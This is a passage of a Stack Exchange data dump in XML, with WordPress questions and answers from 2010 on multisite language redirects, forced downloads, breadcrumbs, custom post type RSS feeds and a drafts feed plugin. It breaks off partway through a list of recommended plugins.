  <row Id="3478" PostTypeId="2" ParentId="3401" CreationDate="2010-10-31T16:11:33.740" Score="1" ViewCount="" Body="&lt;p&gt;If you do this more often I would write some sql or perl or whatever scripts for each operation.&#xA;First run it locally against a local test server.&#xA;then replace the database settings to the remote database and run the script again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some time you have a lot of perl scripts then combine the different settings in one .ini file to read the config from that for all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded a perl script that does some database interaction here: &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-23-compatible-wordpress-delicious-daily-synchronization-script/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-23-compatible-wordpress-delicious-daily-synchronization-script/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just replace the sql statements with the statements you need and the code with the code you need, you can probably just delete a lot of stuff keeping the database connection, the sql statements and a quick &quot;run the sql statement&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of running perl above direct sql is that you have a second layer to provide logging, some more easier programming and... it has a gazillion modules such as &quot;delicious lib&quot; so that you can extend it easily with all kinds of ideas. It also makes your code much more re-usable and you can re-use settings centrally from an .ini file etc...&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-10-31T16:11:33.740" />
  <row Id="3479" PostTypeId="1" AcceptedAnswerId="3488" CreationDate="2010-10-31T16:27:07.717" Score="3" ViewCount="557" Body="&lt;p&gt;I want to install WP in 3 languages: en, ro, ru&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/en&#xA;mysite.com/ro&#xA;mysite.com/ru&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was not sure, but installed WP in the root folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to redirect visitors to default language. Say &quot;en&quot;.&#xA;AND I don't need having 4 sites actually: &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;/en/&lt;/code&gt;, &lt;code&gt;/ro/&lt;/code&gt;, &lt;code&gt;/ru/&lt;/code&gt;, but 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is actually like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://lh3.ggpht.com/_1TPOP7DzY1E/TM2VCW-kGdI/AAAAAAAADX0/fltjT6EIJjA/s800/Capture1.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't &quot;remove&quot; the &quot;/&quot; site, actually&lt;/p&gt;&#xA;" OwnerUserId="1431" LastEditorUserId="1431" LastEditorDisplayName="" LastEditDate="2010-10-31T16:44:08.300" LastActivityDate="2011-03-25T11:26:16.273" Title="Multisite - how to remove the root '/' site?" Tags="&lt;multisite&gt;&lt;multi-language&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3480" PostTypeId="1" AcceptedAnswerId="3499" CreationDate="2010-10-31T16:29:28.747" Score="2" ViewCount="548" Body="&lt;p&gt;I would like to add a &quot;Click to download&quot; button to one of my WordPress plugins, and I'm not sure which hook to use. So far, hooking 'admin_init' to this code seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; header(&quot;Content-type: application/x-msdownload&quot;);&#xA; header(&quot;Content-Disposition: attachment; filename=data.csv&quot;);&#xA; header(&quot;Pragma: no-cache&quot;);&#xA; header(&quot;Expires: 0&quot;);&#xA; echo 'data';&#xA; exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to work, but I just want to see if there is a best practice out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-01-06T10:38:21.940" Title="How can I force a file download in the WordPress backend?" Tags="&lt;plugins&gt;" AnswerCount="1" FavoriteCount="5" />
  <row Id="3481" PostTypeId="2" ParentId="3479" CreationDate="2010-10-31T17:08:12.433" Score="2" ViewCount="" Body="&lt;p&gt;just leave it and place a redirect on it?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-10-31T17:08:12.433" />
  <row Id="3482" PostTypeId="2" ParentId="2349" CreationDate="2010-10-31T17:30:18.057" Score="1" ViewCount="" Body="&lt;p&gt;Currently, though, it seems that the use of custom post type in &lt;strong&gt;Breadcrumb NavXT&lt;/strong&gt; requires one to create a dedicated page for the basis of the post type archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other alternative is &lt;strong&gt;Breadcrumb Trail&lt;/strong&gt; (http://wordpress.org/extend/plugins/breadcrumb-trail/). It seems to support custom post type... but for &lt;strong&gt;WP 3.1&lt;/strong&gt;!! (That's what I assume from the codes, anyway, since it uses functions available only for WP 3.1+).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had modified the code a bit. But due to my needs at the time, I had integrated it with a couple of plug-ins... Meaning, &lt;strong&gt;it needs to have those plug-ins and with specific settings&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the &lt;strong&gt;modified&lt;/strong&gt; Breadcrumb Trail plugin from this link: &lt;a href=&quot;http://www.zumodrive.com/share/8addOGQ3OW&quot; rel=&quot;nofollow&quot;&gt;http://www.zumodrive.com/share/8addOGQ3OW&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need to download and use the &lt;strong&gt;Custom Post Permalinks&lt;/strong&gt; plugin as well (http://wordpress.org/extend/plugins/custom-post-permalinks/).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find explanation of the modifications and instructions in how to set it up in the modified plugin folder (called *modification_log.rtf*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what you need to do after both plugins are activated is to first set up the 'Permalink Settings' as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'Common settings' to 'Month and name'&lt;/li&gt;&#xA;&lt;li&gt;'Extra Permalink Settings' to&#xA;'/%post_type%/%your_custom_taxonomy%/%news_post%/'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will setup the permalinks to something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.yoursite.com/your_custom_post_type/your_custom_taxonomy_term/the_post&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then put the code below where you want your breadcrumbs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Plugin: Breadcrumb Trail (Modified) //&#xA;if(function_exists('breadcrumb_trail')) {&#xA;    $breadcrumb = array(&#xA;        'separator' =&amp;gt; '&amp;gt;',&#xA;        'before' =&amp;gt; 'You are here: ',&#xA;        'after' =&amp;gt; false,&#xA;        'front_page' =&amp;gt; true,&#xA;        'show_home' =&amp;gt; __('Home'),&#xA;        'singular_{your_custom_post_type}_taxonomy' =&amp;gt; 'your_custom_taxonomy',&#xA;        'echo' =&amp;gt; true,&#xA;    );&#xA;    breadcrumb_trail($breadcrumb);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow breadcrumbs that look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are here: Home &gt; Your Custom Post&#xA;  Type &gt; Your Custom Taxonomy Term &gt; The&#xA;  Post&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course, you may be able to adjust it to your needs, but this is what I came up with for the project that I am doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might have missed some necessary settings for the above to work, though... so just notify me if it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, just wanted to share another solution... Hope this can come in handy for somebody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the modified plugin also integrates with &lt;strong&gt;qTranslate&lt;/strong&gt; plugin to allow multi-language...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Cheers!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2010-10-31T17:30:18.057" />
  <row Id="3483" PostTypeId="1" AcceptedAnswerId="3785" CreationDate="2010-10-31T17:48:32.463" Score="5" ViewCount="332" Body="&lt;p&gt;How can I make a separate RSS feed for each custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had searched the net for it and found suggestions to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.yoursite.com/feed/?post_type=book&quot; rel=&quot;nofollow&quot;&gt;http://www.yoursite.com/feed/?post_type=book&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried the above, but it just didn't work! It only takes me back to the custom post type archive page again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody knows where I went wrong or what I am missing???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, I used the &lt;strong&gt;Custom Post Permalinks&lt;/strong&gt; plugin to allow post type specific permalinks for post type archive pages. Not sure if this may affect the RSS feed problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2010-11-08T19:24:40.687" Title="How to Make a Separate RSS Feed for Each Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="3484" PostTypeId="1" AcceptedAnswerId="3485" CreationDate="2010-10-31T19:01:09.217" Score="1" ViewCount="139" Body="&lt;p&gt;I used to have a blog on wordpress.com, now I've created my own site (using wordpress of course), on a privately hosted domain. I used to have a lot more traffic hitting my blog on wordpress.com than on my new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see some other sites (not subdomains on wordpress.com) listed in &quot;freshly pressed&quot; rss feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that on my site?&lt;/p&gt;&#xA;" OwnerUserId="1376" LastActivityDate="2011-01-19T14:28:53.907" Title="&quot;Connect&quot; my personal website to wordpress.com" Tags="&lt;wordpress.com&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="3485" PostTypeId="2" ParentId="3484" CreationDate="2010-10-31T19:20:08.840" Score="1" ViewCount="" Body="&lt;p&gt;I just figured that this can be done with an &lt;a href=&quot;http://en.support.wordpress.com/offsite-redirect/&quot; rel=&quot;nofollow&quot;&gt;Offsite Redirect&lt;/a&gt; upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a paid service (12$ per year), so I won't try it for now, however, for the sake of stackexchange Q/A, I would like to get a comment from someone who actually used this.&lt;/p&gt;&#xA;" OwnerUserId="1376" LastEditorUserId="1376" LastEditorDisplayName="" LastEditDate="2010-10-31T19:29:49.970" LastActivityDate="2010-10-31T19:29:49.970" />
  <row Id="3486" PostTypeId="1" AcceptedAnswerId="3489" CreationDate="2010-10-31T20:01:09.680" Score="3" ViewCount="92" Body="&lt;p&gt;I want this question to turn into a more of a wiki because people often have this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think are some useful and must-have plugins for a wordpress-based site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm in the early stages of setting up a blog and I'm looking around for great plugins and some good tips. Please do include one or more. Also, if it's already there, upvote it.&lt;/p&gt;&#xA;" OwnerUserId="1439" LastActivityDate="2010-11-01T01:05:17.950" Title="What are good plugins for beginners?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="3487" PostTypeId="2" ParentId="3483" CreationDate="2010-10-31T21:15:31.643" Score="2" ViewCount="" Body="&lt;p&gt;add the small example function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'request', 'fb_add_to_feed' );&#xA;&#xA;    // add to post-feed&#xA;    function fb_add_to_feed($request) {&#xA;&#xA;        if ( isset($request['feed']) &amp;amp;&amp;amp; !isset($request['post_type']) ) {&#xA;            $request['post_type'] = get_post_types( $args = array(&#xA;                'public'          =&amp;gt; true,&#xA;                'capability_type' =&amp;gt; 'post'&#xA;            ) );&#xA;        }&#xA;&#xA;        return $request;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternative you can creat a own feed onl yfor the custom post type. See the follow example for a &quot;Draft Feed&quot; of draft posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Drafts Feed&#xA;Plugin URI:  http://bueltge.de/wordpress-feed-fuer-entwuerfe/829/&#xA;Description: Add a new Feed for drafts: &amp;lt;code&amp;gt;/?feed=draft&amp;lt;/code&amp;gt;&#xA;Version:     0.2&#xA;Author:      Frank Bültge&#xA;Author URI:  http://bueltge.de/&#xA;Licence:     GPL&#xA;Last Change: 17.06.2009 10:50:19&#xA;*/&#xA;&#xA;//avoid direct calls to this file, because now WP core and framework has been used&#xA;if ( !function_exists('add_action') ) {&#xA;    header('Status: 403 Forbidden');&#xA;    header('HTTP/1.1 403 Forbidden');&#xA;    exit();&#xA;}&#xA;&#xA;if ( function_exists('add_action') ) {&#xA;    //WordPress definitions&#xA;    if ( !defined('WP_CONTENT_URL') )&#xA;        define('WP_CONTENT_URL', get_option('siteurl') . '/wp-content');&#xA;    if ( !defined('WP_CONTENT_DIR') )&#xA;        define('WP_CONTENT_DIR', ABSPATH . 'wp-content');&#xA;    if ( !defined('WP_PLUGIN_URL') )&#xA;        define('WP_PLUGIN_URL', WP_CONTENT_URL.'/plugins');&#xA;    if ( !defined('WP_PLUGIN_DIR') )&#xA;        define('WP_PLUGIN_DIR', WP_CONTENT_DIR.'/plugins');&#xA;    if ( !defined('PLUGINDIR') )&#xA;        define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH.  For back compat.&#xA;    if ( !defined('WP_LANG_DIR') )&#xA;        define('WP_LANG_DIR', WP_CONTENT_DIR . '/languages');&#xA;&#xA;    // plugin definitions&#xA;    define( 'FB_DF_BASENAME', plugin_basename(__FILE__) );&#xA;    define( 'FB_DF_BASEFOLDER', plugin_basename( dirname( __FILE__ ) ) );&#xA;    define( 'FB_DF_TEXTDOMAIN', 'draft_feed' );&#xA;}&#xA;&#xA;if ( !class_exists('DraftFeed') ) {&#xA;    class DraftFeed {&#xA;&#xA;        // constructor&#xA;        function DraftFeed() {&#xA;&#xA;            add_action( 'init', array(&amp;amp;$this, 'add_draft_feed') );&#xA;            if ( is_admin() ) {&#xA;                add_action( 'wp_dashboard_setup', array(&amp;amp;$this, 'my_wp_dashboard_setup') );&#xA;                add_action( 'admin_head', array(&amp;amp;$this, 'add_my_css') );&#xA;                add_action( 'admin_init', array(&amp;amp;$this, 'textdomain') );&#xA;            }&#xA;        }&#xA;&#xA;        function textdomain() {&#xA;&#xA;            if ( function_exists('load_plugin_textdomain') ) {&#xA;                if ( !defined('WP_PLUGIN_DIR') ) {&#xA;                    load_plugin_textdomain( FB_DF_TEXTDOMAIN, str_replace( ABSPATH, '', dirname(__FILE__) ) . '/languages' );&#xA;                } else {&#xA;                    load_plugin_textdomain( FB_DF_TEXTDOMAIN, false, dirname( plugin_basename(__FILE__) ) . '/languages' );&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        function my_wp_dashboard_recent_drafts( $drafts = false, $view_content = false ) {&#xA;            if ( $drafts )&#xA;                return;&#xA;&#xA;            $drafts_query = new WP_Query( array(&#xA;                                                                                    'post_type' =&amp;gt; 'post',&#xA;                                                                                    'post_status' =&amp;gt; 'draft',&#xA;                                                                                    'posts_per_page' =&amp;gt; 5,&#xA;                                                                                    'orderby' =&amp;gt; 'modified',&#xA;                                                                                    'order' =&amp;gt; 'DESC'&#xA;                                                                                    ) );&#xA;            $drafts =&amp;amp; $drafts_query-&amp;gt;posts;&#xA;&#xA;            if ( $drafts &amp;amp;&amp;amp; is_array( $drafts ) ) {&#xA;                $list = array();&#xA;                foreach ( $drafts as $draft ) {&#xA;                    $url = get_edit_post_link( $draft-&amp;gt;ID );&#xA;                    $title = _draft_or_post_title( $draft-&amp;gt;ID );&#xA;                    $user = get_userdata($draft-&amp;gt;post_author);&#xA;                    $author = $user-&amp;gt;display_name;&#xA;                    $item = '&amp;lt;a href=&quot;' . $url . '&quot; title=&quot;' . sprintf( __( 'Edit “%s”', FB_DF_TEXTDOMAIN ), esc_attr( $title ) ) . '&quot;&amp;gt;' . $title . '&amp;lt;/a&amp;gt; ' . __( 'by', FB_DF_TEXTDOMAIN ) . ' ' . stripslashes( apply_filters('comment_author', $author) ) . ' &amp;lt;abbr title=&quot;' . get_the_time(__('Y/m/d g:i:s A'), $draft) . '&quot;&amp;gt;' . get_the_time( get_option( 'date_format' ), $draft ) . '&amp;lt;/abbr&amp;gt;';&#xA;                    $list[] = $item;&#xA;                }&#xA;        ?&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php echo join( &quot;&amp;lt;/li&amp;gt;\n&amp;lt;li&amp;gt;&quot;, $list ); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;p class=&quot;textright&quot;&amp;gt;&amp;lt;a href=&quot;edit.php?post_status=draft&quot; class=&quot;button&quot;&amp;gt;&amp;lt;?php _e('View all', FB_DF_TEXTDOMAIN); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php&#xA;            } else {&#xA;                _e( 'There are no drafts at the moment', FB_DF_TEXTDOMAIN );&#xA;            }&#xA;        }&#xA;&#xA;        function my_wp_dashboard_setup() {&#xA;&#xA;            wp_add_dashboard_widget( 'my_wp_dashboard_recent_drafts', __( 'Recents Drafts', FB_DF_TEXTDOMAIN ) . ' &amp;lt;small&amp;gt;' . __( 'of all authors', FB_DF_TEXTDOMAIN ) . '&amp;lt;/small&amp;gt;', array(&amp;amp;$this, 'my_wp_dashboard_recent_drafts') );&#xA;        }&#xA;&#xA;        function add_my_css() {&#xA;&#xA;            $echo  = '';&#xA;            $echo .= &quot;\n&quot;;&#xA;            $echo .= '&amp;lt;style type=&quot;text/css&quot;&amp;gt;'.&quot;\n&quot;;&#xA;            $echo .= '&amp;lt;!--'.&quot;\n&quot;;&#xA;            $echo .= '#my_wp_dashboard_recent_drafts abbr {' . &quot;\n&quot;;&#xA;            $echo .= 'font-family: &quot;Lucida Grande&quot;, Verdana, Arial, &quot;Bitstream Vera Sans&quot;, sans-serif;' . &quot;\n&quot;;;&#xA;            $echo .= 'font-size: 11px;' . &quot;\n&quot;;&#xA;            $echo .= 'color: #999;' . &quot;\n&quot;;&#xA;            $echo .= 'margin-left: 3px;' . &quot;\n&quot;;&#xA;            $echo .= '}'.&quot;\n&quot;;&#xA;            $echo .= '--&amp;gt;'.&quot;\n&quot;;&#xA;            $echo .= '&amp;lt;/style&amp;gt;'.&quot;\n&quot;;&#xA;&#xA;            echo $echo;&#xA;        }&#xA;&#xA;        // add feed via hook&#xA;        function add_draft_feed() {&#xA;&#xA;            // set name for the feed&#xA;            // http://examble.com/?feed=draft&#xA;            add_feed( 'draft', array(&amp;amp;$this, 'get_draft_feed') );&#xA;        }&#xA;&#xA;        // get feed&#xA;        function get_draft_feed() {&#xA;            global $wpdb;&#xA;&#xA;            // draft or future&#xA;            $sql = &quot;&#xA;                            SELECT ID, post_title, post_date, post_author, post_author, guid, post_excerpt, post_content&#xA;                            FROM $wpdb-&amp;gt;posts&#xA;                            WHERE post_status = 'draft'&#xA;                            ORDER BY post_date_gmt DESC&#xA;                        &quot;;&#xA;            $items = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;            if ( !headers_sent() )&#xA;                header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);&#xA;            $more = 1;&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;' . get_option('blog_charset') . '&quot;?' . '&amp;gt;'; ?&amp;gt;&#xA;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    &amp;lt;?php do_action('rss2_ns'); ?&amp;gt;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;?php bloginfo_rss( 'name' ); wp_title_rss(); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;&amp;lt;?php self_link(); ?&amp;gt;&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;    &amp;lt;link&amp;gt;&amp;lt;?php bloginfo_rss( 'url' ) ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;?php bloginfo_rss( 'description' ) ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date( 'D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false ); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;generator&amp;gt;http://bueltge.de/&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;language&amp;gt;&amp;lt;?php echo get_option( 'rss_language' ); ?&amp;gt;&amp;lt;/language&amp;gt;&#xA;    &amp;lt;sy:updatePeriod&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_period', 'hourly' ); ?&amp;gt;&amp;lt;/sy:updatePeriod&amp;gt;&#xA;    &amp;lt;sy:updateFrequency&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_frequency', '1' ); ?&amp;gt;&amp;lt;/sy:updateFrequency&amp;gt;&#xA;    &amp;lt;?php do_action('rss2_head'); ?&amp;gt;&#xA;    &amp;lt;?php&#xA;    if ( empty($items) ) {&#xA;        echo '&amp;lt;!-- No submissions found yet. //--&amp;gt;';&#xA;    } else {&#xA;        foreach ($items as $item) {&#xA;    ?&amp;gt;&#xA;        &amp;lt;item&amp;gt;&#xA;            &amp;lt;title&amp;gt;&amp;lt;?php echo stripslashes( apply_filters( 'comment_author', $item-&amp;gt;post_title ) ); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;            &amp;lt;link&amp;gt;&amp;lt;?php echo stripslashes( apply_filters( 'comment_author_url', get_permalink($item-&amp;gt;ID) ) ); ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;            &amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date( 'D, d M Y H:i:s +0000', $item-&amp;gt;post_date ); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;            &amp;lt;dc:creator&amp;gt;&amp;lt;?php echo stripslashes( apply_filters('comment_author', $item-&amp;gt;post_author) ); ?&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;&#xA;            &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;&amp;lt;?php echo stripslashes( apply_filters('comment_author_url', $item-&amp;gt;guid) ); ?&amp;gt;&amp;lt;/guid&amp;gt;&#xA;            &amp;lt;?php if ( $item-&amp;gt;post_excerpt != '' ) { ?&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;?php echo trim(stripslashes( apply_filters('comment_text', $item-&amp;gt;post_excerpt) ) ); ?&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;?php } else { ?&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;?php echo strip_tags( trim( stripslashes( apply_filters('comment_text', $item-&amp;gt;post_content) ) ) ); ?&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php echo trim( stripslashes( apply_filters( 'comment_text', $item-&amp;gt;post_content ) ) ); ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;            &amp;lt;?php do_action('rss2_item'); ?&amp;gt;&#xA;        &amp;lt;/item&amp;gt;&#xA;    &amp;lt;?php&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;        &amp;lt;?php&#xA;        }&#xA;&#xA;    } // end class&#xA;&#xA;    $df_wp_injector = new DraftFeed();&#xA;} // end if class exists&#xA;&#xA;// WP init and add ne function for feed&#xA;if ( isset($df_wp_injector) &amp;amp;&amp;amp; function_exists( 'add_action' ) ) {&#xA;    add_action( 'DraftFeed',  array(&amp;amp;$df_wp_injector, 'init') );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-31T21:15:31.643" CommentCount="1" />
  <row Id="3488" PostTypeId="2" ParentId="3479" CreationDate="2010-10-31T21:17:41.097" Score="5" ViewCount="" Body="&lt;p&gt;I use on the root site a small theme for redirect to the languages. A very small theme for locate the language of the users and redirect to the blog of this language.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Browsersprache ermitteln&#xA;function lang_get_from_browser($allowed_languages, $default_language, $lang_variable = NULL, $strict_mode = TRUE) {&#xA;    // $_SERVER['HTTP_ACCEPT_LANGUAGE'] verwenden, wenn keine Sprachvariable mitgegeben wurde&#xA;    if ( NULL === $lang_variable )&#xA;        $lang_variable = $_SERVER['HTTP_ACCEPT_LANGUAGE'];&#xA;&#xA;    // wurde irgendwelche Information mitgeschickt?&#xA;    if ( empty($lang_variable) ) &#xA;        return $default_language;&#xA;&#xA;    // Den Header auftrennen&#xA;    $accepted_languages = preg_split('/,\s*/', $lang_variable);&#xA;&#xA;    // Die Standardwerte einstellen&#xA;    $current_lang = $default_language;&#xA;    $current_q    = 0;&#xA;    // Nun alle mitgegebenen Sprachen abarbeiten&#xA;    foreach ($accepted_languages as $accepted_language) {&#xA;        // Alle Infos dieser Sprache rausholen&#xA;        $res = preg_match(&#xA;            '/^([a-z]{1,8}(?:-[a-z]{1,8})*)'.&#xA;            '(?:;\s*q=(0(?:\.[0-9]{1,3})?|1(?:\.0{1,3})?))?$/i', &#xA;            $accepted_language, &#xA;            $matches&#xA;        );&#xA;&#xA;        if (!$res)&#xA;            continue;&#xA;&#xA;        // Sprachcode holen und dann sofort in die Einzelteile trennen&#xA;        $lang_code = explode('-', $matches[1]);&#xA;&#xA;        // Wurde eine Qualität mitgegeben?&#xA;        if ( isset($matches[2]) )&#xA;            $lang_quality = (float)$matches[2];&#xA;        else&#xA;            $lang_quality = 1.0;&#xA;&#xA;        // Bis der Sprachcode leer ist...&#xA;        while (count ($lang_code)) {&#xA;            // mal sehen, ob der Sprachcode angeboten wird&#xA;            if (in_array ( strtolower( join('-', $lang_code) ), $allowed_languages) ) {&#xA;                // Qualität anschauen&#xA;                if ($lang_quality &amp;gt; $current_q) {&#xA;                    $current_lang = strtolower( join('-', $lang_code) );&#xA;                    $current_q = $lang_quality;&#xA;                    break;&#xA;                }&#xA;            }&#xA;            // Wenn wir im strengen Modus sind, die Sprache nicht versuchen zu minimalisieren&#xA;            if ($strict_mode)&#xA;                break;&#xA;&#xA;            // den rechtesten Teil des Sprachcodes abschneiden&#xA;            array_pop($lang_code);&#xA;        }&#xA;    }&#xA;&#xA;    return $current_lang;&#xA;}&#xA;&#xA;$allowed_langs = array('en', 'de');&#xA;$lang = lang_get_from_browser($allowed_langs, 'en', NULL, FALSE);&#xA;&#xA;if ( 'de' === $lang )&#xA;    Header(&quot;Location: http://wpbasis.de/readme-de_DE.php&quot;);&#xA;else&#xA;    Header(&quot;Location: http://wpbasis.de/readme-en_US.php&quot;);&#xA;exit();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-31T21:17:41.097" CommentCount="10" />
  <row Id="3489" PostTypeId="2" ParentId="3486" CreationDate="2010-10-31T22:18:24.030" Score="3" ViewCount="" Body="&lt;p&gt;These are all plugins that I've used, and while I'm sure there's a lot of good plugins I've missed, but these are ones I've had experience with and would recommend as enhancing your WordPress blog.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/akismet/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; - this is included with WordPress and is (in my opinion) one of the essential plugins you will need once you start to receive pretty much any traffic - the bots won't be far behind. While it's not perfect, it goes a reasonably good way towards expunging the spam.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/all-in-one-seo-pack/&quot; rel=&quot;nofollow&quot;&gt;All in One SEO&lt;/a&gt; - Does what it says on the tin. Some of the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags generated are ignored by many search engines now but most of the options inside of here will benefit you in some way or another.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 